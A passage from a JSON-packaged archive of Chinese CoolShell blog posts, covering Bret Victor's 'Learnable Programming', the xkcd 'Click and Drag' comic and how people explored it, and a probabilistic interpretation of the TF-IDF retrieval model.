[![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\nThe post [Javascript 面向对象编程](https://coolshell.cn/articles/6441.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-10-14 Bret Victor – Learnable Programming.md",
    "content": "---\nlayout: post\ntitle: Bret Victor – Learnable Programming\ndate: 2012/10/14/ 8:37:4\nupdated: 2012/10/14/ 8:37:4\nstatus: publish\npublished: true\ntype: post\n---\n\n大家是否还记得之前酷壳向大家介绍的苹果设计师[Bret Victor](http://worrydream.com/)一种可视编程的视频《[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)》，最近，他写了一篇文章—— [Learnable Programming](http://worrydream.com/LearnableProgramming/)，写这篇文章的原因是因为“可汗学院(Khan Academy)”近期上线的一个[在线编程环境](http://www.khanacademy.org/cs)，根据他的演讲提供了一堆基于Javascript的“实时编程”的环境，因为这个环境是[引用了他的想法](http://ejohn.org/blog/introducing-khan-cs)，所以，他有必要出来喷两句。\n\n\n这篇文章的开头就是一个问题——“*How do we get people to understand programming?*”，我们怎么让人们懂得编程？\n\n\n![](../wp-content/uploads/2012/10/Learnable_Programming.jpg \"Learnable_Programming\")\n\n\n然后，他说了两条——\n\n\n* **编程是一种思考，而不是一种死记硬背的技能！**你学会了“for循环”并不是说你就学会了编程，这就好像你知道有铅笔这个东西，但是你对绘画还是什么不懂。（对于这一条，正好这两天我在微博上和人辩论“[基础算法面试题是否好](http://weibo.com/1401880315/yFQkJn8bC)”（还有[微博一](http://weibo.com/1401880315/yFOeyy00M)，[微博二](http://weibo.com/1401880315/z06Y0qMGf)），而且我以前也写过一篇《[为什么我反对纯算法面试](https://coolshell.cn/articles/8138.html \"为什么我反对纯算法面试题\")》，这里借用Bret的话再加强一下我的观点——“**我们一方面在骂中国的应试教育毁了学生，另一方面我们又在把我们的面试变成“考八股文”式的考试！  你会qsort有什么用？你只不过是会用一支高级铅笔而已罢了。**”）\n\n\n* **人只有看得见，才能理解。**如果一个程序员不能看到他的程序在干什么，那么她就不能理解程序。（对于这一条，让我想到了Donald Knuth的话——“An algorithm must be seen to be believe!”）\n\n\n所以，Bret 觉得编程软件的目标是——\n\n\n\n* 支持并激发强大的思考。 To support and encourage powerful ways of thinking.\n* 让程序员可以看得见程序的运行过程。To enable programmers to see and understand the execution of their programs\n\n\n他说，可汗学院的“实时编程环境”并没有达到上面的任何一个目标。他还说用Javascript这样设计得很垃圾的语言根本不能支持强大的思考，而且还忽略了近十年来的成果，可汗学院这些东西完全是毫无价值的。\n\n\nBret认为，Alan Perlis的名言——“要学会编程，你必需得同时变成机器和程序”是错误的，这句被广为流传的错误名言，让我们把编程变成很难，并且掩盖了编程的艺术。人并不是一台机器，我们也不应该强迫自己变成那样。\n\n\n接下来，他说明了一个编程系统应该有两个部分——\n\n\n* **编程的“环境”，是其中一部分需要安装在电脑上的。**\n\n\n* **编程的“语言”，是另一部分需要安装在程序员大脑里的。**\n\n\n他随笔给出来了一些Design Principles——\n\n\n对于“**编程环境**”，应该能让学习者干下面的事：\n\n\n* **阅读程序词汇 read the vocabulary** *—* 这些单词意味着什么？是不是显而易见不用思考的？是不是很自然地被上下文解释了？\n\n\n* **跟进流程 follow the flow** *—* 在什么时候会发生什么？流程的时间过程是不是看得见摸得着的？流程的粒度是否有意义？\n\n\n* **看见状态 see the state** *—* 电脑在想些什么？你能不能看到电脑里的数据？并可以看到不同状态的比较？没有任何状态会隐藏？\n\n\n* **通过交互来创造代码 create by reacting** *—* 从粗糙开始，然后开始雕琢程序。交互是否实时显示在屏幕上？有多少组件我可以用来做实时交互？\n\n\n* **通过抽像来创造代码 create by abstracting** *—* 从一些hard code开始，然后开始抽象成变量*，*抽象成公式，抽象成函数。从一个开始作模板，然后做多个不同的东西。\n\n\n对于“**编程语言**” 来说，它应该提供下面的事：\n\n\n* **同一性和比方 identity and metaphor** *—* 我怎么把电脑的世界和我的世界联系起来?推荐了一本书《*[“Mindstorms”](http://books.google.com/books?id=HhIEAgUfGHwC&printsec=frontcover)*》\n\n\n* **分解 decomposition** *—* 怎么把我的想法分解成碎片？*how do I break down my thoughts into mind-sized pieces?*\n* **重组 recomposition** *—* 怎么把这些碎片重组起来？ *how do I glue pieces together?*\n* **可读性 readability** *—* 这一大堆程序单词是什么意思？*what do these words mean?*\n\n\n然后，他说“The Features are not the point”，**我们很多时候会关注编程环境和编程语言提供的功能，这就好像我们在看一本书有哪些单词一样，有哪些单词不重要，重要的是我这些单词组合起来传达了一个什么信息**？**一个设计的好的系统并不是一堆功能，一个设计得好的编程环境是激发特定的思考方式**。所有的功能都是非常小心翼翼地组合起来为之服务。（不好意思，我又要插一句。我觉得这和我在《[抄袭，腾讯和产品](https://coolshell.cn/articles/7617.html \"抄袭，腾讯 和 产品\")》一文中，我所理解的“什么是真正的产品”有点类似——真正的产品不是功能的组合，而是要表达的价值和对某一特定问题端到端的解决方案）\n\n\n接下来，Bret用大量的示例告诉了大家上面所说的那几条是具体是什么。大家一定要去读一读！（我把这些东西总结果在上面的那些条目中了）\n\n\n最后，Bret说了一下，他被问过很多次——这些漂亮的想法怎么应用到现实世界中？他说这个问题问的是对的，但是这些问题问的就好像是——“怎么能让一匹马从内燃机引擎受益”一样，其假设的改变是错误的。他回答到，更准确的是——“**Programming has to work like this**”，所以他说，他的这些东西不是一种“Training”，也不是一种“银弹”，只不过是拿开了眼罩。\n\n\n**更新：**一楼回复的朋友给了一个中译版的链接：<http://chengyichao.info/learnable-programming/>\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![50年前的登月程序和程序员有多硬核](../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg)](https://coolshell.cn/articles/19612.html)[50年前的登月程序和程序员有多硬核](https://coolshell.cn/articles/19612.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\nThe post [Bret Victor – Learnable Programming](https://coolshell.cn/articles/8387.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-10-16 xkcd 神图“Click and Drag”.md",
    "content": "---\nlayout: post\ntitle: xkcd 神图“Click and Drag”\ndate: 2012/10/16/ 0:15:44\nupdated: 2012/10/16/ 0:15:44\nstatus: publish\npublished: true\ntype: post\n---\n\n[xkcd](http://xkcd.com/)对于经常浏览国外网站的朋友一定不会陌生。不过，还是先让我来介绍一下xkcd（[维基百科词条](http://en.wikipedia.org/wiki/Xkcd)）。这是一个漫画网站，它主要是发布一些很简单的随手画的漫画，它主要有四种体裁——浪漫、讽刺、数学 和 语言。也会经常出现一些和IT有关的漫画，比如下面这个漫画—— （懂Unix的人一眼就看懂了，不懂的怎么看也看不懂）\n\n\n![](../wp-content/uploads/2012/10/xkcd-sandwich.png \"xkcd-sandwich\")\n\n\n本质上来说，xkcd是一种Geek文化，里面的东西都非常的Geek和晦涩，讽刺很辛辣，但很多只有特定人群可以看得懂。而且表达的形式自由到天马行空，飘忽不定。\n\n\n\nxkcd.com的网站创建者、所有的漫画的作者叫[Randall Munroe](http://en.wikipedia.org/wiki/Randall_Munroe \"Randall Munroe\")http://upload.wikimedia.org/wikipedia/commons/thumb/f/f4/Randall_Munroe_ducks.JPG/230px-Randall_Munroe_ducks.JPG \"Randall Munroe\"，他以前在 NASA工作，是那里的Roboticist——机器人专家，80后，同样，也是一个程序员。他还会画漫画。\n\n\nxkcd是他于2005年创建的，他本来只是想把他大学里在记事本里画的漫画放到他的个人主页上，但结果却搞成了一个独立的以漫画为主的网站，他用他画的这些漫画做成T恤卖。为什么要取名叫xkcd，据Munroe说，这四个字母，没有任何意义，就是为了让人不能把他们通过拼成一个单词读出来。现在他全职在搞xkcd.com。他现在一周会更新三次漫画，分别在周一，周三，和周五。\n\n\n到了2007年5月，xkcd上的漫画才被广泛转载。2008年10月， *[The New Yorker](http://en.wikipedia.org/wiki/The_New_Yorker \"The New Yorker\")* 杂志对Munroe做了一个采访。\n\n\n2010年3月，xkcd的书里的[谜底被解决了](http://forums.xkcd.com/viewtopic.php?p=2042913#p2042829)，Munroe在旧金山的金门大桥公园里给他的Fans发了255本限量版的书。\n\n\n2012年4月1日愚人节，他的1037 号漫画(“Umwelt”) 会根据不同的IP，浏览器和地址显示不同的漫画。\n\n\n2012年9月19号，xkcd的第1110号图问世了。\n\n\n#### XKCD #1110 神图\n\n\n这个图上面就是三格小漫画，一个小人拿着气球，还有两句耐人寻味的话。而**这三格漫画图的下面是一个风景图，取名 Click and Drag，也就是让你点住图片拖动。于是你就不能自拔了。**\n\n\n我只所以在前面写了那么多东西，而不是把这个链接放在一开始，就是害怕你点了这个图，就再也不回来了。\n\n\n好了，现在你可以点下面的链接开这个神图了 （你会发现这个图怎么也拖不完，无穷完尽的，所以，还请你先回来）\n\n\n **[Click and Drag](http://www.xkcd.com/1110/)**\n\n\n**但请你一定还要回来，本文后面还有精彩内容!**\n\n\n**这个图一发布，几乎全世界的各大论坛都在疯狂的转载，很多媒体都关注这个漫画，各种技术社区如：reddit 在疯狂地讨论着这个图是怎么实现的，有多大？还有很多人再分析这个图里的内容，这个图里隐藏着很多很有意思的东西，《有2001太空漫游》，有《星球大战》，还有《超级马丽》等等。**\n\n\n**几乎整个互联网都沸腾了，但好像中国社区对此事完全不知。**\n\n\n网上出现了很多相关的blog和站点来分析这个图片。如果你在Google里搜xkcd 1110，你会发现很多内容。\n\n\n#### 这个图有多大\n\n\n* 这个图可以分解成 2592 个 2048 x 2048 像素的图。\n\n\n* 但其中只有 225 个 2048 x 2048 的PNG 图片文件。而剩下的2337 基本上是纯黑的或是纯白的块。比如地下和天空。\n\n\n* 整个图横向有81个2048 x 2048的图（左边有33个，右边有48个），纵向有32个 2048 x 2048个图（天上有13个，地下有19个）\n\n\n* 老大当晚Release的全尺寸的大图（比现在你看到的还要大），不算空白处，图片共有60G的像素，而如果要算上整个图将会是T级别的像素。现在你看到版本已被做过优化，不算空白处，只有1G的像素，而算上全图有10G的像素。 (2048x2048x225 = 943,718,400 和 2048x2048x2592 = 10,871,635,968).\n\n\n* 如果我们按比例来看的话，图中的32个象素对应于现实世界的5英尺，那么，这个图的宽有25920英尺（7.9公里），高有10240英尺（3.1公里）。\n\n\n* 如果每个 2048 x 2048 的PNG图可以被打印成一个300 dpi的宣传画，那么，这个宣传画基本上是14.05米宽，5.55米高的图。现在的PNG被调整过了，只有72dpi左右。\n\n\n有人说，创作这么这个大图很费时间。不过我觉得这对于Geek来说不是问题，因为这应该是可以通过矢量图的拼装来搞定。\n\n\n[![xkcd 1110全景缩略图（点击看大缩略图）](../wp-content/uploads/2012/10/xkcd1110-1024x346.png \"xkcd 1110全景缩略图（点击看大缩略图）\")](https://coolshell.cn/wp-content/uploads/2012/10/xkcd1110.png)xkcd 1110全景缩略图（点击看大缩略图）\n#### 看看技术宅们干了什么\n\n\n下面我只记录了些不完全的技术宅们的因为这个画搞出来的东西。大家可以补充。\n\n\n1）如果你用鼠标翻得不爽的话，你可以[看看这篇文章](http://www.potch.me/blog/press-and-hold.html)，在你的Chrome下按Ctrl+Shift+I，然后到Javascript控制台里，粘贴文中的代码，于是，你就可以用键盘的光标键移动并浏览整个世界了。\n\n\n2）这是个全屏版的：<http://ares.aylett.co.uk/xkcd/>\n\n\n3）如果你要下载所有的图，你可以使用这个[Python脚本](http://lebbeo.us/static/get-xkcd-1110.py)来完成（[转自这篇文章](http://lebbeo.us/2012/09/19/not-bbq-fetching-component-images-of-xkcd-comic-1110/)）\n\n\n4）还有人把它搞成了像Google Map一样的东西。 你可以访问下面的链接：\n\n\n\n> \n> * <http://xkcd-map.rent-a-geek.de/>\n> * <http://xkcdmap.webege.com/>\n> \n> \n> 5）看看Hacker News的讨论贴吧，什么都有了（<http://news.ycombinator.com/item?id=4542367>）\n> \n> \n\n\n当然，对于这个图最强的一个站点如下，解释了所有和这个图有关信息，包括图中的各种文字和图案的意思。\n\n\n<http://www.explainxkcd.com/wiki/index.php?title=1110:_Click_and_Drag>\n\n\n看到这个图后，我陷入了深深地沉思，我在想。是什么样的动力能让人干出这样的事来？兴趣，还是为了好玩。还就是为了证明他能干一些让人拍案叫绝的东西？**这可能就是一种Geek精神吧。就是为了能做出让世人冿冿乐道的东西**。\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [xkcd 神图“Click and Drag”](https://coolshell.cn/articles/8398.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-10-24 TF-IDF模型的概率解释.md",
    "content": "---\nlayout: post\ntitle: TF-IDF模型的概率解释\ndate: 2012/10/24/ 1:5:54\nupdated: 2012/10/24/ 1:5:54\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢** [@猫叔shiro](http://weibo.com/weidagang)**（以前的todd） 投递此文）**\n\n\n#### 信息检索概述\n\n\n信息检索是当前应用十分广泛的一种技术，论文检索、搜索引擎都属于信息检索的范畴。通常，人们把信息检索问题抽象为：在文档集合D上，对于由关键词w[1] … w[k]组成的查询串q，返回一个按查询q和文档d匹配度relevance(q, d)排序的相关文档列表D’。\n\n\n对于这一问题，先后出现了布尔模型、向量模型等各种经典的信息检索模型，它们从不同的角度提出了自己的一套解决方案。布尔模型以集合的布尔运算为基础，查询效率高，但模型过于简单，无法有效地对不同文档进行排序，查询效果不佳。向量模型把文档和查询串都视为词所构成的多维向量，而文档与查询的相关性即对应于向量间的夹角。不过，由于通常词的数量巨大，向量维度非常高，而大量的维度都是0，计算向量夹角的效果并不好。另外，庞大的计算量也使得向量模型几乎不具有在互联网搜索引擎这样海量数据集上实施的可行性。\n\n\n#### tf-idf模型\n\n\n目前，真正在搜索引擎等实际应用中广泛使用的是tf-idf模型。tf-idf模型的主要思想是：如果词w在一篇文档d中出现的频率高，并且在其他文档中很少出现，则认为词w具有很好的区分能力，适合用来把文章d和其他文章区分开来。该模型主要包含了两个因素：\n\n\n\n1) 词w在文档d中的词频tf (Term Frequency)，即词w在文档d中出现次数count(w, d)和文档d中总词数size(d)的比值：\n\n\n\n```\ntf(w,d) = count(w, d) / size(d) \n```\n\n2) 词w在整个文档集合中的逆向文档频率idf (Inverse Document Frequency)，即文档总数n与词w所出现文件数docs(w, D)比值的对数:\n\n\n\n```\nidf = log(n / docs(w, D)) \n```\n\ntf-idf模型根据tf和idf为每一个文档d和由关键词w[1]…w[k]组成的查询串q计算一个权值，用于表示查询串q与文档d的匹配度：\n\n\n\n```\n\ntf-idf(q, d) \n= sum { i = 1..k | tf-idf(w[i], d) } \n= sum { i = 1..k | tf(w[i], d) * idf(w[i]) } \n\n```\n\n#### 信息检索问题的概率视角\n\n\n直观上看，tf描述的是文档中词出现的频率；而idf是和词出现文档数相关的权重。我们比较容易定性地理解tf-idf的基本思想，但具体到tf-idf的一些细节却并不是那么容易说清楚为什么。比如：\n\n\n1) 为什么tf是count(w, d) / size(d)？能不能是log(count(w, d) / size(d))等其他形式？\n\n\n2) 为什么idf是一个log形式？\n\n\n3) 为什么tf和idf之间是乘积关系，而不是加法或指数关系？\n\n\n4) 为什么多个关键词的tf-idf值是加法关系，而不是乘法或者指数关系？\n\n\n5) 除了tf-idf值，Google还会计算网页的PageRank值，二者相乘得到最后的权值，为什么是乘法，而不是加法或指数？\n\n\n据说，最初甚至tf-idf的提出者自己也没有对诸如“为什么idf是log形式”这个问题给出有力的解释，虽然后来有人从信息论的角度对idf的log形式给出了令人信服的解释，但是剩下的其他一些疑问仍然存在。在我了解的范围内，对于tf-idf模型还没有一个真正统一完整的理论解释。在试图为tf-idf找到更好的理论解释的过程中，我意识到对tf-idf模型种种疑问的根源在于tf-idf试图表达的“查询q和文档的匹配度”本身就有一定的模糊性，什么叫做“匹配度”，这就有很大的自由发挥空间。如果说向量模型的用向量夹角来表示匹配度概念还有一定的理论基础，那么用tf-idf来表达匹配度就有点“与其说是科学，不如说是艺术”的味道。\n\n\n更进一步，其实，信息检索问题的抽象方式“在文档集合D上，对于给定查询串q，返回一个按查询q和文档d匹配度relevance(q, d)排序的相关文档列表D’”本身是值得反思的。我们应当考虑抛弃“匹配度”这种模糊的目标，从根源上寻求一种具有明确数学意义的目标。如果我们从概率视角来看，**把“查询串q和文档d的匹配度”问题转换为“当查询串是q时，用户期望获得文档d的概率”问题**，信息检索问题就清晰多了。一方面这个概率描述是站在人的角度来看待信息检索问题的，更加贴近实际的用户体验；另一方面，概率本身是有明确数学意义的，这样我们就首先从目标上对问题进行了严格化。\n\n\n下面，我将通过一个模型，从概率的视角，一边解释tf-idf的概率意义，一边指出其不合理之处。\n\n\n#### 盒子小球模型\n\n\n为了分析“当查询串是q时，用户期望获得文档d的概率”问题，我首先建立了一种称为“盒子小球模型”的简化模型。盒子小球模型把词想象成各种不同颜色的小球，文档想象成装有若干小球的盒子，把“当查询串是q时，用户期望获得文档d的概率“转换为下面的问题：\n\n\n**有n个盒子d[1], d[2], … d[n]，每个盒子中有若干不同颜色的小球，有人随机地选择了一个盒子，并从盒子中随机地拿出了一个颜色为w[j]的小球，那么这个小球来自于盒子d[i]的概率是多少？**\n\n\n其实，这就是经典的条件概率问题P(d[i] | w[j])，采用贝叶斯推断将其转化为：\n\n\n\n```\n\nP(d[i] | w[j]) \n= P(d[i], w[j]) / P(w[j]) \n= P(d[i]) * P(w[j] | d[i]) / P(w[j]) \n\n```\n\n我们注意到这个条件概率包括几个部分，P(d[i])是盒子d[i]被选中的先验概率，p(w[j])是w[j]颜色小球被选中的先验概率，P(w[j] | d[i])是在盒子d[i]中选中颜色w[j]小球的条件概率。\n\n\n#### 文档先验概率P(d)与PageRank\n\n\n首先，我们来看盒子d[i]被选中的先验概率P(d[i])是什么。P(d[i])的意义是：当用户什么也没有输入的时候，它可能对文档d[i]感兴趣的概率。在没有更多信息的情况下，我们可以认为每个盒子被选中的先验概率P(d[i])是相等的，都等于1 / m，其中m表示总文档数（总盒子数），这时P(d[i])作为公共系数可被忽略。不过，在实际应用中，我们通常可以根据其他知识获得各文档的先验概率，比如，学术文献和网页通常可以基于引用度模型计算其先验概率，这些经典论文和热门网页是多数人乐于见到的。说到这里，你可能已经发现，Google PageRank本质上就是这个先验概率P(d[i])乘以某个系数！所以，PageRank实际上也被纳入这个条件概率模型中来了，这就不难解释为什么在Google的排序算法中PageRank权重和tf-idf权重是一种乘积关系而不是加或者指数关系。另一方面，在理解了文档先验概率对整个搜索结果概率的影响后，当搜索引擎中针对PageRank出现各种假链接SEO时，我们可以不拘泥于基于链接引用模型的PageRank，只要是以网页先验概率为目标，不论是采用基于链接引用的PageRank，还是基于搜索结果点击数模型，或是其他模型，都是可以的。这就是“变通”，从原理上“通”了，就可以在方法上“变”。\n\n\n#### 词的先验概率P(w)\n\n\n下面我们来考察词w[j]的先验概率P(w[j])。P(w[j])的意义是：在整个文档集合中，w[j]被作为搜索关键词的概率，比如：“iPhone 5”，“青花瓷”这类词被用作搜索关键词的概率较高，而“的”，“什么”，“我们”这类高频词不大可能成为搜索关键词。那么，我们如何来定量计算P(w[j])呢？一种思路就是把w[j]在文档集中出现的频率作为其先验概率。不过，显然存在更好的方案：在大量的搜索查询中进行统计，统计方法得出P(w[j])的方法很接近P(w[j])本质的，不需要引入额外的假设。比如，一段时间内某搜索引擎的搜索总次数为10^10次，“公积金”这个词出现了100次，那么，我们可以认为先验概率P(“公积金”)就是100 / 10^10 = 10^-8。\n\n\n#### 词代表文档主题的条件概率P(w | d)\n\n\n最后，我们来看条件概率P(w[j] | d[i])。P(w[j] | d[i])的意义是在文档d[i]中，人们用关键词w[j]来搜索它的概率。那么，什么样的词是人们会用来搜索一篇文档的呢？多数情况下，是那些代表一篇文档主题的词。比如，有一篇新闻是关于iPhone 5发布会的，那么“iPhone5”， “发布会”，“库克”，“苹果”这些词基本上就构成了文章的主题；那么，反过来说，如果用户想搜索这篇关于iPhone 5发布会的新闻，他就有很大的可能通过这几个词来进行搜索。我们应当注意分辨P(w[j] | d[i])与P(w[j])的区别，后者可以通过大量的查询统计得来，而前者不能与后者直接划等号，因为前者的意义是w[j]代表d[i]主题的概率。如果非要引入统计方法，那么P(w[j] | d[i])对应的统计是：当搜索关键词是w[j]且搜索结果包含d[i]时，用户点击（满意）d[i]作为搜索结果的频率。比如，用“iPhone5 发布会”的搜索，在结果中有都10000次出现了网页x，其中，用户8000次点击了网页x，那么，可以认为有80%的概率网页x的主题是关于“iPhone5 发布会”的。\n\n\n#### 词的信息量和idf\n\n\n上面谈到了对P(w[j] | d[i])的计算的统计方法，但该方法有一定的局限，比如，要能进行统计首先需要文档出现在足够多的搜索结果中，需要时间和量的积累。除了统计方法外，我们可以考虑其他方法计算词w[j]代表文档d[i]主题的概率。可能有人立刻会想到要对文章进行语义分析提取关键词，给这些关键词高权重，给其他词低权重。这种想法有一定的合理性，但实现上涉及语义分析，没有成熟高效的方法。实际上，信息论为我们提供了另一条高效方案。上面谈到“的”，“什么”，“我们”这类高频词不会成为文档主题和搜索关键词的原因是它们不能提供足够的信息，而“iPhone 5”，“发布会”这样的词汇则信息量丰富。所谓信息是指对不确定性（熵）的减小程度，信息的单位是比特(bit)，信息量越大对于不确定性的减小程度越大。比如，外面可能在下雨也可能没有下雨，可能性空间大小为2，如果我们看一眼窗外，可能性空间就变成了1，那么“看见窗外在下雨”所提供的信息量就和熵的减小程度成正比，具体来讲等于log(2/1)=1。如果要用二进制编码是否下雨，需要1个bit，0代表没有下雨，1代表下雨。\n\n\n但在很多场景下，各个可能性的概率并不相同，比如：欧洲杯16只球队都可能夺冠，赛前它们夺冠的先验概率并不相同，那么结果的不确定性程度实际上是小于log(16)=4。如果你没有看比赛，有人告诉你西班牙夺冠了，你可能会觉得很正常，但如果有人告诉你瑞士夺冠了，你通常会非常惊讶。这一现象的理论解释是，如果赛前西班牙夺冠概率是1/4，而瑞士夺冠概率是1/32，那么，“西班牙夺冠”的信息量为log(4)=2，即把不确定性减小为原来的1/4，而“瑞士夺冠”的信息量为log(32)=5，不确定性减小为原来的1/32，一下子接受比前者大了两倍以上的信息量，当然你会吃惊。\n\n\n回到信息检索，比如，“2012美国大选”这个查询串包含了“2012”，“美国”和“大选”3个关键词，我们应该如何定量计算它们的信息量呢？根据信息的定义，词的信息量等于它对不确定性的缩小程度。如果文档总数为2^30，其中2^14篇文档出现了“美国”，那么“美国”这个词就把文档的不确定性从2^30缩小为2^14，它所包含的信息量为log(2^30/2^14)=16；而只有2^10篇文档出现了“大选”，那么大选的信息量就是log(2^30/2^10)=20，比“美国”多了4个bit。而“的”，“什么”，“我们”这些高频词对减小文档不确定性几乎没有帮助，因而信息量为0。相信你已经发现，上面idf(w)公式中的log(n / docs(w, D))实际上就是词w的信息量了。\n\n\n如果我们考虑词的信息量对条件概率P(w[j] | d[i])的影响，假设“词w在文档中被选中的概率与其在文档中的出现频率和其信息量的乘积成正比”，那么上面的条件概率模型就变成：\n\n\n\n```\n\nP(d[i] | w[j]) \n= P(d[i], w[j]) / P(w[j]) \n= P(d[i]) * P(w[j] | d[i]) / P(w[j]) \n= P(d[i]) * (tf(w[j], d[i]) * idf(w[j] / sum { k = 1..size(d[i]), tf(w[k], d[i]) * idf(w[k]) }) / p(w[j]) \n= P(d[i]) * (tf-idf(w[j], d[i]) / sum { k = 1..size(d[i]), tf-idf(w[k], d[i]) }) / p(w[j]) \n= P(d[i]) * (tf-idf(w[j], d[i]) / tf-idf(d[i])) / p(w[j]) \n\n```\n\n我们看到tf-idf已经被纳入框架内了，但是还多出文档先验概率P(d[i])，关键词先验概率P(w[j])和文档各词的总tf-idf(d[i])。普通搜索引擎是基于PageRank和tf-idf的，那么，根据这个概率模型，我们可以看出，它没有考虑文档总tf-idf(d[i])和关键词先验概率p(w[j])。如果考虑这两个因素，相信搜索效果会更好。\n\n\n#### 多关键词\n\n\n上面的条件概率模型主要是针对单个关键词的情况，下面我们进一步将其扩展到多关键词情况。我们知道，在tf-idf中，多个关键词的所产生的tf-idf值是一种叠加关系，那么这是否符合条件概率模型呢？答案是否定的。在两个关键字情况下，条件概率问题转化为“如果有人从一个盒子中同时摸出颜色w[x]的小球和颜色w[y]的小球，这两个小球来自于盒子d[i]的概率是多少？”。假设从盒子中摸出各个小球事件是相互独立的情况下，即\n\n\n\n```\n\nP(w[x], w[y]) \n= P(w[x]) * P(w[y]) P(w[x], w[y] | d[i]) \n= P(w[x] | d[i]) * P(w[y] | d[i]) \n\n```\n\n我们可以推导出条件概率：\n\n\n\n```\n\nP(d[i] | w[x], w[y]) \n= P(d[i], w[x], w[y]) / P(w[x], w[y]) \n= P(d[i]) * P(w[x], w[y] | d[i]) / P(w[x], w[y]) \n= P(d[i]) * P(w[x] | d[i]) * P(w[y] | d[i]) / (P(w[x] * P(w[y])) \n= P(d[i]) * (tf-idf(w[x], d[i]) / tf-idf(d[i])) * ((tf-idf(w[y], d[i]) / tf-idf(d[i]))) / (p(w[x]) * P(w[y])) \n\n```\n\n可见，概率模型所得出的各个关键词的tf-idf值之间是乘积关系，这是与tf-idf模型的加法关系是不同的。这一点可能与二者是否要求“文档必须包含所有查询关键词”的基本假设有关系。在文档不包含所有关键字的这种情况下，tf-idf模型可能得出一个非0的匹配度，但条件概率模型得出的概率肯定为0。不过，如果考虑一般查询关键词数量不多（3个以内），而大量文档都同时包含这些关键词，概率模型的乘积关系是比tf-idf模型的加法关系更有理论基础。从根本上讲，这是因为tf-idf的“匹配度”是一个模棱两可的概念，而条件概率有坚实的理论基础。\n\n\n#### 总结\n\n\nTF-IDF模型是搜索引擎中广泛使用的信息检索模型，但对于TF-IDF模型一直存在各种疑问。本文为信息检索问题一种基于条件概率的盒子小球模型，其核心思想是把“查询串q和文档d的匹配度问题”转化为“查询串q来自于文档d的条件概率问题”。它从概率的视角为信息检索问题定义了比TF-IDF模型所表达的匹配度更为清晰的目标。从概率模型中，我们看到查询串q来自于文档d的条件概率主要包含以下几个因素：1) 文档的先验概率P(d[i])，这与PageRank对应；2) 词w被作为搜索关键词的先验概率P(w)，这可以通过统计方法获得；3) 关键词w代表文档d主题，或以词w搜索文档d的概率，P(w | d)，除了统计方法，这可以通过tf-idf来计算。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![为什么我不在微信公众号上写文章](../wp-content/uploads/2016/07/Community-150x150.jpg)](https://coolshell.cn/articles/17391.html)[为什么我不在微信公众号上写文章](https://coolshell.cn/articles/17391.html)\n* [![Cuckoo Filter：设计与实现](../wp-content/uploads/2015/08/cuckoo-150x150.jpg)](https://coolshell.cn/articles/17225.html)[Cuckoo Filter：设计与实现](https://coolshell.cn/articles/17225.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* 